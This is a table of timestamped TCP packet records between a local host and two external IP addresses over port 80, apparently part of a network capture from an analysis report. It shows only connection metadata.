Nov 24, 2024 12:24:28.766952991 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.767011881 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.767136097 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.767178059 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.767338037 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.768050909 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.768106937 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.768120050 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.768136024 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.768172026 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.768220901 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.768266916 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.768780947 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.768917084 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.768964052 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.769054890 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.769187927 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.769229889 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.769645929 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.769691944 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.769759893 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.770183086 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.770230055 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.770308971 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.770440102 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.770741940 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.770792007 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.771289110 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.771339893 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.771471977 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.771517038 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.772418976 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.772468090 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.772512913 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.772557020 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.773485899 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.773566008 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.773617983 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.773663044 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.774589062 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.774707079 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.774758101 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.775705099 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.775754929 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.775785923 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.775897980 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.776802063 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.776845932 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.776995897 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.777039051 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.777928114 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.777972937 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.778070927 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.778114080 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.779004097 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.779050112 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.779088020 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.779129982 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.860317945 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.860343933 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.860409021 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.860600948 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.860687971 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.861438990 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.861491919 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.861526966 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.862252951 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.862291098 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.862302065 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.862335920 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.863076925 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.863102913 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.863149881 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.863928080 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.864049911 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.864101887 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.864734888 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.864857912 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.865669966 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.921730995 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.921816111 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.922024965 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.922076941 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.922138929 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.922183037 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.922291040 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.922334909 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.922375917 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.922420025 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.923372984 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.923422098 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.923468113 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.923511028 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.924499035 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.924546003 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.924808025 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.924859047 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.925653934 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.925726891 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.925796986 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.925841093 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.926724911 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.926769972 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.926816940 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.926861048 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.927798986 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.927843094 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.927922964 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.927967072 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.928946972 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.928994894 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.929027081 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.929069996 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.930037022 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.930084944 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.930185080 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.930227995 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.931278944 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.931332111 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.931417942 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.931463003 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.932235956 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.932285070 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.932363033 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.932408094 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.933370113 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.933415890 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.933492899 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.933540106 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.934479952 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.934526920 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.934571981 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.934616089 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.935554028 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.935600042 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.935657024 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.935740948 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.936650991 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.936697006 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.936784983 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.936829090 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.937774897 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.937819004 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.937863111 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.937908888 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.938889980 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.938937902 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.938985109 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.939058065 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.939992905 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.940037966 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.940088034 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.940130949 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.941078901 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.941123962 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.941170931 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.941212893 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.942184925 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.942229986 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.942257881 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.942276955 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.942301989 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.942311049 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.942444086 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.942756891 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.942964077 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.943357944 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.943408012 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.943409920 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.943491936 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.943536043 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.943567991 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.943586111 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.943629980 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.944346905 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.944401026 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.944448948 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.944494963 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.944586039 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.944626093 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.944669962 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.944700003 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.945478916 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.945506096 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.945521116 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.945549011 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.945571899 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.945605993 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.945750952 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.946264982 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.946316004 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.946368933 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.946611881 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.946660995 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.946706057 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.947098970 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.947149038 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.947149992 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.947163105 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.947762012 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.947812080 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.947906017 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.947947979 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.947989941 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.948007107 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.948049068 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.948792934 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.948844910 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.948853970 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.948870897 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.948888063 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.948920012 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.948936939 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.949644089 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.949897051 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.949944973 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.949985027 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.950092077 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.950135946 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.950439930 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.950484037 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.950525045 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.951054096 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.951101065 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.951227903 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.951339960 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.951354980 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.951389074 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.951390028 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.952152967 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.952169895 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.952187061 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.952222109 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.952254057 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.952276945 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.952944040 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.953000069 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.953001022 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.953038931 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.953255892 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.953305006 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.953310013 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.953351021 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.953753948 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.953919888 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.953969002 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.954382896 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.954400063 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.954433918 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.954452038 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.954582930 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.954628944 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.954696894 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.955508947 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.955564976 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.955581903 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.955596924 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.955605984 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.955630064 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.955646992 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.956306934 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.956351995 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.956396103 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.956569910 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.956619978 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.956648111 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.956691027 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.957087994 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.957139015 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.957205057 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.957669973 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.957709074 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.957755089 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.957921028 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.958022118 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.958066940 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.958743095 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.958843946 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.958861113 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.958889008 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.958905935 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.958929062 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.959604025 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.959667921 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.959671974 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.959701061 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.959880114 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.959954977 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.959999084 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.960038900 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.960441113 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.960481882 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.960568905 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.961028099 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.961221933 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.961272001 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.961311102 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.961328030 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.961366892 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.962100983 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.962156057 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.962160110 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.962172985 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.962215900 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.962219954 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.962235928 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.962924004 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.962970018 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.963012934 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.963200092 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.963325024 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.963371992 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.963804007 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.963885069 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.963928938 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.964276075 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.964319944 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.964387894 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.964530945 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.964576960 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.964612961 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.964684963 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.965393066 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.965455055 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.965459108 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.965477943 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.965506077 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.965526104 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.965533972 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.966265917 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.966396093 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.966440916 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.966530085 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.966696024 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.966744900 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.967102051 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.967145920 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.967187881 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.967598915 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.967648029 CET	49793	80	192.168.2.4	31.41.244.11
